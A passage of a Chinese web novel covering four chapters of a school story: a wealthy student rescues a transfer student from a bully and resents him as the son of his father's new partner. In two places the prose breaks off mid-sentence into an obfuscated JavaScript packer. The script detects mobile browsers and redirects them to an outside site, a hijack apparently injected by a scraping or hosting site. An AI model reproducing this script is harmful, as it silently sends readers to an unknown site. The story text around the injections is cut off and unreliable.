《待风起[校园]》 1. 擂肥 “说!带钱没有!” 育德学校操场旁的小树林内,三人围着一个高高瘦瘦的男生。 半晌没听到回答,其中一个寸头男迟疑着:“钱哥,这人该不会是哑巴吧?” 为首的钱霆咧嘴一笑,不怀好意道:“再不开口……我可就上手搜咯?” 他显然没什么耐心,话说完,就抬手往前伸,但被围的那人似乎有意反抗,不知是动了手还是脚,只听得钱霆“草”了一声,竟然往后退了半步。 “你他妈敢跟我动手?!”钱霆恼怒,上前半步,抬脚就是一踹。 力道不小,踹得男生整个人飞撞到了粗树干上。 嘭—— 小树林外,李斯年正和好哥们方行舟一人拿着一根冰棍往操场走,此时正是第三节体育课的自由活动时间。 “大课间老董头带来的那个转校生,叫许之的,你看到了么?”方行舟兴致勃勃地问。 “没,在睡觉呢。”李斯年叼着冰棒棍,对这件事似乎没什么兴趣。 “下节课记得看看,好像就坐你后面。”方行舟感叹道,“长得可真漂亮啊,跟个姑娘似的。” 李斯年嗤笑一声:“再漂亮也不是姑娘,有什么用。” 方行舟觉得他今天实在是有点奇怪:“你怎么说话跟吃了枪药似的,从早自习时就垮着个脸,又跟你爸吵架了?” 李斯年摆摆手,正想说什么,忽然脚步一顿,侧头看向小树林:“什么声音……你听到了吗?” “听到了。”方行舟点头,“卧槽,这是哪个班的小情侣,大白天就敢往里面钻?!” 操场和小卖部之间的这片树林,树种得密,从外面完全看不到里头的人,几条鹅卵石铺起的小路弯绕其中,挺僻静的。 也是校内著名的情侣约会地。 “走走走,去看看!”方行舟一脸兴奋好奇,也不顾李斯年拒绝,抓着他就往里走去。 小树林不宽,但纵向挺深,二人轻手轻脚往里去,声音也随之更清晰了些。 “好像不止两个人啊?”方行舟回过头,用口型无声说。 李斯年也起了些兴趣,二人借由粗树掩盖身形,向空地上看去。 “钱哥,我看这小子是敬酒不吃吃罚酒,打一顿就老实了!”寸头男说着就要抡拳头,却被钱霆抬手拦了。 “别啊,多漂亮一张脸,打花了怪可惜的。”钱霆走上前几步,问:“不过是想和你交个朋友嘛,就这么难么?” 李斯年和方行舟无声的对视一眼,他们都听说过钱霆的名字。 主要是因为这人太臭名远扬了,仗着自己是身强体壮的体育生,和校外混混关系不错,经常带着小弟对校内学生进行欺辱或“擂肥”。 只不过他平时讲话都很凶悍,刚才那句却轻飘飘的,明显带着调戏意味。 随着包围圈露出间隙,李斯年和方行舟也得以看见了被围着的人。 方行舟惊得眼都圆了,压低声音说:“是、是那个转校生!” 李斯年却是微微皱起眉,没有接话,只是仍然盯着那边看。 许之手肘向后抵着树干,捂着肚子缓缓站起身来。 钱霆单手插兜,轻易就钳住了对方的下巴:“说话啊。” 许之被迫仰起头,不知是被吓得还是疼得,一张略显苍白的脸上没什么表情,只是抿紧的唇终于动了动:“我……没钱。” 钱霆“哦”了一声:“一般人都会这么说,搜搜就知道了。” 其实许之白色短袖上衣没有口袋,校服裤子两侧明显是平的。 像钱霆他们这种擂肥老手,不说从口袋外部捏一下,只消看上一眼,就能知道许之身上揣没揣东西。 但钱霆还是非常乐在其中,他伸手探入许之的校服裤袋,仔细搜索。 夏季校服用料很薄,能看到那只大手先向着腿外侧摸索了会儿,随后又要往内侧探去。 与其说是搜口袋,不如说是在隔着一层衬布揩油。 许之终于有了些表情,拧着眉,似是厌恶、又似是忍耐。 钱霆忽然开口,装作惊讶:“哟,你还真没带钱啊?” 话这么说,手却没抽出来,旁边两个男生发出讥讽的笑声,不知谁说了句:“哈哈!刚说这人像个娘们,怎么还真眼睛红了呢,别是要哭了吧?” 方行舟作为性取向单一且正常的大直男,简直看不下去这些畜生的所作所为,他压低着声音向李斯年说:“外边都传钱霆这人男女通吃,没想到是真的……” 见旁边人仍然不搭话,方行舟接着建议:“咱们还是去叫老师来吧,李——斯年?!” 最后两个字陡然变调,只见李斯年抬手脱下自己的鞋,径直大步往外走,随即狠狠将手里东西往前一丢。 鞋子正中钱霆抹着发油的后脑勺,发出一声闷响! 李斯年是一个标准富二代,鞋子价格从没低过四位数,今天脚上这双还是侧面加了限量金属logo的。 他丢出的鞋子带着力道,结结实实往钱霆头上砸去,钱霆只觉得嗡嗡耳鸣,不得已松开了许之。 他转过身,正想骂脏话,突然感到一阵劲风迎面。 他几乎是下意识侧过脑袋。 可惜没能完全躲过,被又重又快的一拳砸到颧骨,痛得立刻龇牙咧嘴起来。 “钱哥!”两个小弟慌了神,手忙脚乱要去扶人。 “不用!”钱霆胡乱一扫手,“都他妈滚开!老子自己来!” 钱霆甩开他们,往地上啐了一口,微眯着眼看向给了自己一鞋、一拳的人,“你是……李斯年?” 他当然认识面前这个比自己矮不了多少的男生,这家伙在学校里的名气不仅比他大、还比他正面。 毕竟在英俊帅气富二代、年级第一、全省第二的耀眼光环之下,逃课、上课睡觉、且经常对老师出言不逊等张扬的行为,在大其他学生眼里,不仅不算缺点,还值得叫人羡艳的称赞一句:牛逼!有个性! “你他妈想干嘛?”钱霆咬牙切齿,平日里两人没什么交集,算得上井水不犯河水,但他其实早就看这小子不顺眼了。 “我不想干嘛,只是路过啊。”李斯年捡起地上的鞋,重新穿好,顺便借机瞟了一眼钱霆身后的许之。 这人看起来是吓傻了,并没有趁着刚才那阵混乱逃离,仍然背贴着树干,下眼尾勾着胆怯的泛红,往李斯年这边看。 钱霆大步往前,提溜起李斯年的校服领子,目光凶悍:“你小子,存心找不痛快是吧?” 话说完,根本没想等李斯年回答,抡圆了拳,直直冲向他面中! 让钱霆没想到的是,李斯年竟然对此早有防备,他抬臂一挡,借由这瞬间的空挡,屈膝反击! 钱霆感觉胯下生风,心下略略一慌。 他以为李斯年只是个吊儿郎当的富二代,这三两出手,却像是练过的?! 李斯年捕捉到对方抽动的表情,嘴角浮笑。 富二代可不是那么好当的,为了防止被绑架勒索、对家找事,李斯年从小就被送去学格斗、反擒拿、游泳等诸多技能。 不过都不是硬碰硬的招数,毕竟拿命和歹人搏个高低没有意义,争取逃脱的机会才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庄主任边走边扔下一句话:“后面两个,跟上!” 俩小弟点头哈腰着,跟霜打的茄子似的,赶紧跟了上去。 庄主任正是方行舟叫来的,他一脸幸灾乐祸:“哈哈!早就听说钱霆最怕的就是自己这个年级主任亲舅舅,看来是真的!瞧他那模样,跟小鸡仔见了鹰似的!” 说完,又看向李、许:“你们俩没受伤吧?” “没事。”李斯年说完,转头去瞧许之,这才后知后觉——自己仍抓着对方手腕。 于是赶紧松开手,余光扫见对方白皙腕间被自己钳出了一圈泛红。 李斯年原本是想说句什么来着,但被这一抹泛红整的莫名其妙忘干净了,只好将虚张的嘴又闭上。 三人一时间相对无言,气氛忽然变得有点尴尬。 许之细密的睫毛颤了颤,踌躇片刻,终于还是小声开口:“谢……” “不必,我只是正好撞见。”李斯年打断了他,语气硬邦邦的,“真要谢,不如去劝劝你妈,别腆着脸住在别人的家里。” 说完,竟然是转身就走了。 方行舟被这没头没脑的两句对话给整的脑子发懵,左看看右看看,最终还是选择向李斯年追去。 “这、这是怎么回事啊哥们?”方行舟问,“你们早就认识?!” “昨晚刚认识的。”李斯年不屑地笑了一声:“李宇给我找来的新妈和便宜弟弟。” 2. 宵夜 当晚的晚自习是化学,在班主任老董头的神准粉笔头攻势下,李斯年的觉并没能如愿睡好。 放学铃声响,他揣着一肚子起床气起身、下楼,往校门方向走。 走着走着,脚步一停,不耐烦地回过头:“你跟着我干嘛?!” 许之本是埋着头,不防他突然站住,差点没撞上去。 “对、对不起。”许之赶紧后对一步,两手攥着双肩书包带,声音细弱蚊蝇。 “我问你话,没叫你道歉!你家拿对不起当饭吃是吧?”李斯年眉梢一挑,感觉自己身体里那股起床气更甚了。 他从昨晚第一次见许之,就不喜欢这人。 见李宇带了那女人许茜回家,李斯年气得只差没摔东西,然而在他愤怒敌意都如此明显的情况下,许之却还是像个木头似的杵在那,没表情也没反应。 最后还是他妈推了他一下,才机械式地叫了声:“斯年哥。” 非常火上浇油的三个字。 “谁是你哥,少他妈的乱叫!”李斯年丢下这句话,愤愤上楼去。 然后听到身后的人再次开口,也是如此刻一般木讷的一句“对不起。” “李……李叔叔说,让我上下学跟你一起,坐江叔的车。”许之小声回答。 江叔是李家的司机之一,专门负责接送李斯年、李倾诺兄妹俩。 李斯年被哽了一下,有种拳头打在棉花上的感觉。 他是讨厌这对母子、也想把他们赶出自己的家。 但这事要针对也是针对许茜,倒也犯不上花精力跟她带来的儿子过不去。 “那你离我远点,别让别人以为我们很熟!”李斯年说完,转身继续往前走。 好在许之还算知趣听话,李斯年上车后又过了四五分钟,等到校门口已经没什么人时,他才快步走上前来,钻进了后座。 “现在学生真是辛苦啊,这个点儿才放学。”江叔说着,从副驾驶拿了两个纸袋,往后递,“这是李总专程叮嘱我给你们带的汉堡,快垫垫肚子。” 李斯年冷冷看了眼,没动。 许之见此,赶紧伸手接了,一个放在李斯年身边的坐垫上,剩下的自己拿了去。 车内开着空调,李斯年却觉得胸口闷得慌,行驶到半途便将窗打了个大开。 板烧鸡腿堡的浓烈香味终于被冲散。 这是李斯年小时候最喜欢吃的汉堡口味,彼时江城内第一家快餐店入驻,每天门口排长队。 但母亲郑秀因为知道他喜欢,总会早早前去排队,买来给他做早餐。 可惜曾经的温馨美满,已经全然变味了。 李宇从前可从来没叮嘱过江叔做这种事,如今不过是为了哄李斯年开心,好叫他能早日接受许茜。 多讽刺啊,父亲记得儿子的口味,却是只功利地用在这种地方。 李斯年兜里的手机一震,是妹妹李倾诺发来的消息。 晚自习期间的几条未读: 糯糯:哥,今天外婆又给我炸春卷了,可好吃!我过几天给你带点回。 糯糯:外婆说妈妈最爱吃素馅儿春卷,但我还是比较喜欢吃肉的,所以这次做的也都是肉馅儿嘿嘿! 此刻发来的: 糯糯:爸爸给我打电话了,怎么回事,许茜阿姨是谁啊?来家里借住是什么意思? 李斯年瞳孔一缩,手指不自觉攥紧了手机。 他原本还在苦恼,等李倾诺回来之后,怎样才能将妹妹可能受到的心灵伤害降到最低,没想到李宇这边已经迫不及待的主动告知了! 李斯年怒极反笑,按下几个字—— SN:不用担心,她在我们家住不了多久的,走着瞧吧。 - 车停在独栋别墅前,李斯年先一步推开车门走了出去。 许之目光停在对方自始至终没有碰过的那个汉堡盒上片刻,也下了车。 李斯年已经习惯了李宇常年出差忙工作,家里只有赵婶和妹妹的冷清模样,此刻推开门,只觉得屋内迎面而来的明亮暖光十分刺眼。 “斯年回来啦。”许茜像是早就在等人似的,听到动静,立刻站起身来。 此时已经半夜十一点了,她却还是穿着身精致的淡蓝色连衣裙,长发披肩,腰上系着白色围裙,怎么看都是完美妻子模样。 其实很多年前,李斯年就在某个饭局上见过许茜,当时母亲郑秀还感叹,说这女人遇人不淑,谈了个瞒婚的渣男,生下儿子之后才知道对方有个怀胎六个月的老婆。 接下来就是烂俗八点档剧情,闹到最后,许茜带着儿子改姓离开,自己讨生活,并因为工作上的业务往来而认识了李宇。 “老李啊,孩子们回来了,快出来。”许茜扬声向卧室内说了声,又笑着冲李斯年招招手,“先洗了手去坐,我去盛夜宵。” 仿佛昨天那场充斥着争吵的初见不存在似的。 李斯年第一反应是恶心到想要摔门而去,不过身后随之响起许之的关门声,倒是使他找回几分清醒。 自己明年就上大学了,可以不用再回这个家,可是李倾诺才初中,就算为了妹妹,他也得把家里这些鸠占鹊巢的人清扫干净了。 李斯年深呼吸,直直走到餐桌旁,拉开椅子,一屁股坐了下去。 许茜手脚挺利索,很快桌上就摆满了大小不一的盘子,有包子、肉饼、皮蛋瘦肉粥和煎饺。 李宇看起来也挺高兴:“真好啊,好久没这么一大桌热热闹闹吃饭了。” “也不知道斯年喜欢吃什么,我就每样都准备了些。”许茜说着,又拍了拍许之,“把那边的包子给哥哥挪过去些。” 许之原本已经在喝粥了,听言立刻放下瓢羹起了身。 其实他就坐在李斯年对面,李斯年够不着的、他更够不着,但他还是一言不发,顺从地绕到桌顶头那边,把装着包子的盘子端到了李斯年面前。 李斯年稳坐不动,就这么看着许之做完这些事,目光从他深棕色头发移到低垂的后脖颈,那色泽与弧度活像是上好的白瓷壶柄。 瞧这唯唯诺诺又没主见的模样,恐怕一点都没介意自己妈妈改嫁,还很开心能因此住进这么豪华的大房子里吧? 李斯年唇边带笑,拿起包子咬了一口,然后一皱眉,原封不动吐进了盘子里。 “怎么了,不合口味吗?”许茜连忙问道。 李斯年认真点点头:“面太死了。” 说完,又低头喝了一口粥,在嘴里没过半秒,又吐了出来:“粥太咸。” 李宇忍不住筷子往桌上重重一撂,他向来不是好脾气的人,对这个儿子从昨晚哄到现在,耐心也差不多要耗尽了。 “李斯年,你适可而止啊!” “这话什么意思?”李斯年装傻,“睡前吃这么油腻的咸口,可不就齁得慌么?以后麻烦多做点清淡的。” 李斯年说完,就往二楼卧室走。 但李宇或许是觉得太被驳了面子,咽不下这口气,他猛地站起来,快步追上,把李斯年拦在卧室了门口:“你能不能懂点事!有什么话不能说清楚,在这阴阳怪气给谁看?” 自从郑秀车祸离世后,这么些年来,李斯年发现自己就是无法平心静气地和李宇说上几句话。 只要一开口,就注定直奔着冲着火药味去。 “要说清楚?好啊。”李斯年转过身,语气里满是厌恶,“你想有多少个相好的我不管,只是别往家里带,我不需要那么多妈。” 李宇:“你!” “斯年啊,你不要误会。”许茜走上前来,扶了扶李宇的手臂,示意他消消气,“我跟你爸爸说好了,都这把年纪了,搭伙过个日子而已,也不领证,以后你爸爸的一切都还是留给你和糯糯的,你高兴了就叫我一声许阿姨、不高兴了叫全名也行,我完全没有要霸占你妈妈位置的意思。” 这话说得,语气柔柔弱弱、内容委曲求全,简直是贤惠后妈模范级演讲。 果然,李宇听完,脸色一缓,赶紧安慰道:“别这么说!我既然带你回家,今后大家就都是一家人了……” “我说。”李斯年冷冷打断,“你们要浓情蜜意,麻烦不要在我面前,脏我的耳朵。” 他又看向许茜:“这是我和李宇的事情,原本和你没关系,劝你不要掺和,不然我连你一起骂。” “你怎么跟长辈说话的?!”李宇怒哼一声。 李斯年冷笑道:“不是年纪大就能叫长辈,比如你,这种永远不肯承认自己做错的人。” “我做错什么了?这些年你说来说去就这几句话,我告诉你无数次了,你妈妈车祸就是个意外!你接受也好、不接受也好,就是事实!” “你就说,你是不是答应妈妈,开车陪她一起回孝县给外公扫墓在先?又因为公司屁大点小事就临时变卦在后?” 说到这里,李斯年原本愤怒的声音一颤,竟然有点像是哭腔:“如果不是这样,妈妈怎么会去坐夜班大巴,走那么危险的盘山公路?” “那你说,人能预料未来吗?我能吗?!”李宇猛地上前一步,居高临下地看着李斯年,恶狠狠的神色有那么一瞬间不像是父亲,“我要真能预料,当初就不该生你!” “都在气头上,别说这种话了……”看二人下一秒就想要打起来的样子,许茜赶紧拦了拦。 李斯年却是半步未退,满脸孤注一掷的表情:“反正我话放在这里,这是我妈的家,不准外人进来。你别逼我,逼急了我可什么都干得出!” 话已至此,李斯年也不指望这场对话能有什么善了,他快速转身,吧嗒一声,将卧室门反锁。 下一秒,剧烈的砸门声传来,李宇的慈 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“咱年级第一是怎么突然转了性?如此奋发图强,叫我们凡人可怎么活!” 李斯年瞥了他一眼,半开玩笑道:“没事,高三十分或五十分都是第一,对你的名次也没影响。” “草!这话未免太装逼了!” 到了午饭点,李斯年和方行舟因为都不喜欢人挤人,照例等到教室里学生都走得差不多了,才准备去食堂。 不过今天除了他们俩,教室里余下的人还多了个许之。 方行舟不太确定这俩人的关系僵到什么程度,于是试探了句:“要、要一起去食堂吗?” “不用。” “不用了……” 李斯年和许之异口同声。 方行舟尴尬一笑:“啊,好的好的。” 二人下了楼,往食堂走。 哪怕已经有意错开人流,但临近食堂时,还是透过窗户看到了密密麻麻的长队。 育德学校是一所初高中连读的省重点学校,从小升初就开始卷,多少学生挤破脑袋都进不来。 但这并不妨碍已经挤进来的同学日常嫌弃母校。 “你说这个食堂扩建一点会死吗?每天中午排队晚上排,知道的是去食堂,不知道的还以为等牢饭!”方行舟吐槽道。 李斯年看了这排队情况人也有点麻:“要不……就去校外吃吧?” 李斯年指的是南门外的一家便利店,老板经商头脑不错,早几年就盘下了隔壁的早餐店,顺带着做盒饭生意。 虽然价格不便宜,但菜品味道还真不错。 方行舟听了这话,一脸苦相:“祖宗,您以为谁都和您一样,我这个月零用钱已经见底了!” 李斯年挑眉一笑:“没关系,我请你啊。”完,便转身往南门走。 方行舟小跑两步追上去,“真的假的?” “真的。”李斯年顿了顿,“不过,明天体育课帮我放个风啊,我要带梁芷去趟医院。” “在这等着我呢!”方行舟笑,“没问题,哪怕你不请我吃饭,我也得助力兄弟的追妻事业啊!” “别瞎说,我只当梁芷是妹妹,孙姨行动不便,我才带她去医院的。”李斯年说。 方行舟不是很相信:“我看她好像不这么想哦,再怎么说也是青梅竹马,你就真的一点意思都没有?” 李斯年捶了下他的左肩,笑道:“你爱信不信。” 南门与食堂正好处于对角线,二人逆着人流走回头路,一拐弯,就到了办公室那栋楼的外走廊。 此刻老师们也大多去食堂了,办公室都空着,路过化学组时,李斯年下意识余光扫过,却见里头有人。 从走廊的角度能瞧见老董头的正脸,他不知为什么笑得非常灿烂,胖脸上挤出一道道褶子,与平时严肃的模样判若两人。 李斯年有点好奇,脚步慢了一瞬,原本被门框挡住的半边也随之映入眼帘。 竟然是许之,正站在办公桌旁边。 他今天穿了身黑色短袖配牛仔裤,天然带着棕调的发尾与衣领之间露出一截极为白净的后颈。 董老师一边说着什么,一边把桌上的册子递给他,看起来是崭新的各科教材。 “这小子好像是从隔壁庆城高中转来的,也是个省重点学校,听说他成绩特别好,年初的全省模拟考考了前三呢!”方行舟伸着脖子往里望,八卦之魂在燃烧。 李斯年抬腿就走:“所以呢?关我什么事。” 方行舟瘪瘪嘴:“真是皇帝不急急太监,我这不是怕你年级第一的宝座守不住么?” 李斯年轻哼一声,手扫了扫肩头,不屑笑道:“省第二名你爷爷在这儿呢,没在怕的。” 3. 僵持 像是为了印证方行舟的担忧似的,当天下午,董老师就宣布了月底阶段性模拟考的消息,知识点涵盖整本书。 饶是进度领先的六班也哀嚎一片,更不用想其他正常进度上课的班级了。 “考试范围整本书,这些老师怎么敢说出口的?开学才几天,模拟考就当期末考来用是吧。”下午放学后,方行舟要死不活地趴在桌上哀嚎,“这跟直接让我去高考有什么区别?” 虽然六班是整个年级的学霸综合体这件事是大家心照不宣的,但只要有人就会有对比,比如李斯年是学霸班的学霸、方行舟则是学霸班的学渣。 “我常常觉得自己要很努力很努力,才能看起来毫不费劲……”方行舟的怨念快把天花板给掀起来了。 见李斯年不搭他的话,方行舟眼珠子转了转,转身去问许之:“你呢,有把握吗?听说你成绩特别好!” 许之原本低着头在抽屉里拿东西,听到方行舟的声音,过了几秒,才反应过来这话是在问自己:“还好吧……” “庆城高中的教学节奏和育德好像不太一样,你们上到哪本教材了?”方行舟又问。 许之指了指桌面最上方那本,方行舟一看:“果然,这本课本我们高二就学完了!那这次的考试范围,岂不是全都是你没学过的?这可怎么考啊?” 许之想了想:“先尽力试试吧。” 方行舟对着许之满脸担心,下一秒却扭头冲李斯年挤眉弄眼,意思是:放心吧,他这次绝对考不过你! 李斯年无奈一笑,其实他根本没担心过这件事,真是有劳好兄弟费心了。 “走了,去食堂吃饭。”为响应减负号召,高一是没有晚自习的,所以晚饭人会少很多。 李斯年说着,从桌上某两本书之间抽出饭卡。 不料那摞书却因为失去了微妙的平衡,而轰隆隆倒了一地, 方行舟弯腰帮忙捡,忽然看到了什么,发出颇为兴奋的一声疑问:“李斯年,这是……” 他手指夹着一封粉粉的信封直起身来,那信封上面被画满了红色爱心,就差公然把“情书”二字写上了。 方行舟将情书反过来看了眼:“这是什么时候塞你桌上那摞书里的?” “我不知道。”李斯年从小学开始就收到各种女生的情书,早就见怪不怪了。 “那我拆了啊?” “拆呗。” 里面的信纸也是粉色,字迹工工整整,内容不外乎饱含少女心事的朦胧话语,结尾再来一句盖棺定论:我喜欢你! 方行舟看到落款,吃惊抬头:“你猜这情书是谁写给你的?” 李斯年:“谁?” “孟畅畅,就是体育课代表。” 李斯年脸上没出现多少恍然大悟的神色,说实话,他平常很少专门去注意其他同学、无论男女。 方行舟一脸八卦:“你高一时不是和肖宁枝谈过嘛?孟畅畅和她可是闺蜜!” 李斯年抬了抬眉:“谁说我和肖宁枝谈过?!” “瞧我这嘴,哪壶不开提哪壶。”方行舟笑着装作打了自己一嘴巴。 李斯年只觉得莫名其妙,不过他在学校从来不缺话题性,其中花边新闻数量也不少,早就习惯了。 “赶紧去食堂吧,饿死了。”李斯年说着,往门外走。 “那、那这情书怎么办?”方行舟问。 “随便。” 方行舟想了想,还是原封不动的塞回原处了。 - 当天晚自习结束后,李斯年收到了李宇发来的短信—— [我和你许阿姨要出个差,下月才回,你和糯糯要跟许之好好相处,互帮互助。] 又是这样,仿佛无事发生的语气,令人窝火难受。 最重要的是,如今才刚过月初。 李斯年心中冷笑,这很符合李宇一贯的做事风格,在他赶走许茜的计划还没付诸实践之前,先人走了,冷处理。 估计是想等自己气消了,然后再和许茜一起回来。 这两个人的算盘倒是打得好,到底是看准了他不会对许之下狠手、还是根本就不在乎许之一个人在这种环境里该如何自处? 原本就知道李宇离谱,现在看来,许茜也不是个靠谱的人。李斯年忽然就对许之生出几分同情来。 说来也巧,他二人前脚刚走,次日李倾诺就拖着大包小包行李回来了。 郑秀去世那年,她才7岁,对生与死的概念尚且模模糊糊,也不太了解各中内情。 所以与哥哥李斯年相比,李倾诺对父亲李宇的态度要和缓不少,如今得知许茜的到来,也是无措大于愤怒的。 但回到家中,发现爸爸和许阿姨都不在,屋里那种略显空荡的感觉是她所熟悉的,于是心中的忐忑瞬间消散不少。 然后走进客厅,看到许之正在倒水,简单款式的棉质短袖勾勒出好看的高瘦背影,皮肤白皙,正是如今12岁情窦初开李倾诺最喜欢的那种清冷款男孩。 于是她最后那点伤心也就彻底被抛到九霄云外去了。 李斯年听到动静,打开卧室门出来,下楼梯想要接人,见李倾诺一副花痴脸瞧着许之,就知道自己的颜狗妹妹十有八九要在这场无声的硝烟中倒戈。 但转念一想,她能这样天真烂漫是好事,倒也不必像自己这样揣着旧事耿耿于怀。 李斯年从小就很宠着妹妹,在母亲去世后更甚,所以他甚至能接受李倾诺不与自己同仇敌忾。 那根刺,扎在他心里就够了。 许之转身见到李倾诺,明显愣了下,很快就意识到了是谁,礼貌地轻轻点头示意了下,然后拿着自己的水杯无声地上了楼。 - 李斯年帮着李倾诺把行李搬到她房间,二楼有三间卧室,李斯年在最里侧,旁边是李倾诺,隔着楼梯再另一头是许之。 “哥,刚才那个男生就是许阿姨的儿子么?”果然,一进屋关上门,李倾诺就迫不及待的开口问了。 “嗯。” “他长得好像那种漫画里的美型男!”李倾诺说着,从书柜里捧宝贝似捧出一本册子,并不翻开,只是指封面:“瞧,是不是!” 李斯年原本只是敷衍地看了一眼,却微微愣住。 别说,还真挺像的。 很难有人能长得像漫画里的人。 毕竟只有在二次元,美丽与英俊这两种八竿子打不着的气质才有可能完美糅合在一个角色身上,因为那是虚构的、是带着幻想的。 实际三次元次元的男生,美丽稍多往往会觉得偏向中性、稍少又没有了那种类似惊鸿一瞥、动人心魄的观感。 但许之是个例外。 李斯年眼前浮现出他前天在讲台上自我介绍的模样,钱霆身边小弟说的没错,他的确好看的像个娘们。 但要李斯年觉得,也不能形容说这人就是有女生的观感。 因为他哪怕是无声的站在原地,干干净净的少年感都扑面而来。 李斯年回过神来,觉得自己这样仔细揣测一个男生的容貌气质,实在有点怪异:“你这点心思,能不能放在学习上?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401215|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李倾诺瘪瘪嘴,她小升初的考试成绩其实还不错,但年级第十三名在从有成绩排名开始就永远排在第一名的李斯年面前,明显不够看。 于是赶紧转移话题:“哥,许阿姨……” “你不用操心,我来想办法。”李斯年说着伸手揉了揉李倾诺的头,力道一点也不轻,和搓狗头差不了多少。 李倾诺龇牙咧嘴的把脑袋挪出魔爪:“不是,我这几天想过了,许阿姨他们住在这里也没什么的,真的!爸爸开心就好,我还希望……” “他凭什么能开心。”李斯年声音突然冷了几分,他站起身,“妈妈永远停在2012年了,凭什么李宇还能开始新的生活?” 李倾诺心里揪着,张了张嘴,却没能说出话来。 李斯年丢下一句“早点休息”,转身出了门。 李倾诺望着房门发怔,刚才那句因李斯年打断而没能说完的话,其实是:我还希望哥哥你能开心。 但她有时候会觉得,哥哥好像永远都不会再完完全全的开心了。 他心中有一块区域上了锁,偏偏又由他自己置于极其显眼的地方,开启和释怀的钥匙随着妈妈的离去而下落不明。 这么些年来,她总想试图修复爸爸和哥哥之间的关系,能解开哥哥的心锁。 甚至有段时间,她以为只要顺着哥哥的意思,去做那些能让爸爸难过痛苦的事,那么哥哥就能开心。 事实却不是这样,无论李宇是开启幸福的新生活、还是在破碎的过去沉沦,李斯年都不曾真正的、纯粹的、完整的开心。 他想要的一直都是妈妈回来,但那是注定不可能的。 大家都心知肚明。 - 李斯年回到卧室,心里有点堵得慌,拿起手机,想找方行舟打会游戏,却看到六班微信群挂着99+的消息,热闹得很。 这是同学们私下拉的、没有老师的班群,平时每天也有人聊天,但很少短短几小时就聊这么多的。 李斯年有点强迫症,点开后往上拉到最初的消息,一个微信名是“许”的人被拉进了群。 应该就是许之了,看聊天记录是班长黄锦婷在班级通讯录里找到的手机号,一搜就搜出来微信,于是拉进群,对新同学表示了热烈的关心与欢迎。 这一群半大不小的孩子,大多都是现实中多少有点拘谨、在网上就可以毫无顾忌放飞自我的类型。 很多女生趁这机会在群里和许之搭话,还有人好奇他为什么要在高三这么重要的节点转校来育德。 然而许之发言很少,寥寥数语淹没在聊天语句中,大概是“家庭原因”、“庆城人”、“谢谢”之类。 或许是看出他并不是善谈的人,于是群里的聊天话题很快就转向了别处,大家七嘴八舌聊东聊西,最后停留在孟畅畅说“我这周六过生日,请大家去名流KTV唱歌”的消息上。 孟畅畅似乎家境也不错,一个班五十多人,全都去KTV,得开最大的豪华包厢,更别提饮料餐食的支出。 有人请客出去玩,大家自然是非常开心,李斯年在一阵“预祝畅畅生日快乐!”的刷屏里,鬼使神差的点进右上角的群成员详情页面,手指停顿在名字是“许”的头像上,头像是一片空白。 或许是出于好奇,他点开放大,果然就是一张纯白色的图,倒是挺符合许之一向给人安静无害的观感。 李斯年刚想退出界面,不料指尖抖了抖,拍上了许之的头像。 热闹的群聊里赫然出现一句新提示:李斯年拍了拍许。 4. 唱K 这行字就像是水丢进油锅,瞬间让聊天对话框沸腾了起来。 等李斯年反应过来时,其他同学发的内容已经从单纯的起哄到了认真讨论班草归属的问题。 方行舟:虽然吧,新来的同学颜值也非常出色,但……我还是要为兄弟李斯年举大旗! 黄锦婷:男生没有发言权! 方行舟:你这是性别歧视!!! 黄锦婷:论五官精致度,许之完胜,选班草当然要以女性审美为准了~ 王雪菁:一定要一人一票吗?可以……都选吗? 孟畅畅:[吃瓜脸] 李斯年正要退出聊天对话框,好兄弟方行舟非常活泼的艾特了他本人。 方行舟:@李斯年,人呢?加人私聊去了?! 真好,大家的注意力再次转回刚才的“拍一拍”上了。 李斯年眉梢一跳,到这份上,再不加,反而显得他在矫揉做作了。 点开群成员,拉到末尾,找到白色头像,点击添加好友。 一顿行云流水操作完,李斯年把手机往床上一丢,进了浴室。 - 周六上午还有四节习题课,不过大家都上的心不在焉,12点下课铃声一响,大部队蜂拥而出,往名流KTV而去。 孟畅畅上午请了假,大家一去看才知道,原来是提前布置会场了,连ktv门口都摆着海报,她上学比同龄人晚,这次过的是十八岁生日。 大家走进豪华包厢,果汁饮料与点心都已摆好,墙上、沙发边都点缀着爱心气球,屏幕上是孟畅畅的最新写真,抱着巨大的毛绒熊玩具,笑的灿烂。 最上方贴着气球字:happy birthday。 孟畅畅本人在门口迎接,她今天穿着一身嫩黄色系的洛丽塔裙,头发卷得好像布娃娃,头上顶着一个大大的蝴蝶结,妆容精致,在见到李斯年后,脸红了几分,不过有粉底盖着,在昏暗环境下不太明显。 方行舟一屁股坐到沙发上,回头看了眼:“她其实不太适合扮可爱……” 孟畅畅这名字看起来秀气,实际上本人长得人高马大,海拔直窜一米八、五官长相偏成熟,和“可爱”俩字八竿子搭不上边。 “我觉得她应该走御姐风,不然可惜了大长腿。”方行舟感叹道。 李斯年不予置评,睡了一上午有点渴,来的匆忙也没买瓶水,于是拿起桌上的杯子。 高中生默认不能喝酒,这桌上的饮料五颜六色,明显是花心思特调的无酒精饮品。 尝了口,啧,有点太甜了。 一个班人不少,大家七嘴八舌开始点歌,很快歌单就满满当当七八页了,李斯年深深怀疑其中有两页都是方行舟点的,属于这桌的麦克风自从到了他手里,就没放下过。 李斯年掏出手机,正要开始一局游戏,左侧沙发往下一陷,有人坐过来了。 “怎么不点歌呀?”是孟畅畅,一阵花香传来,她似乎喷了不少香水,混合着发蜡的味道,浓烈而怪异。 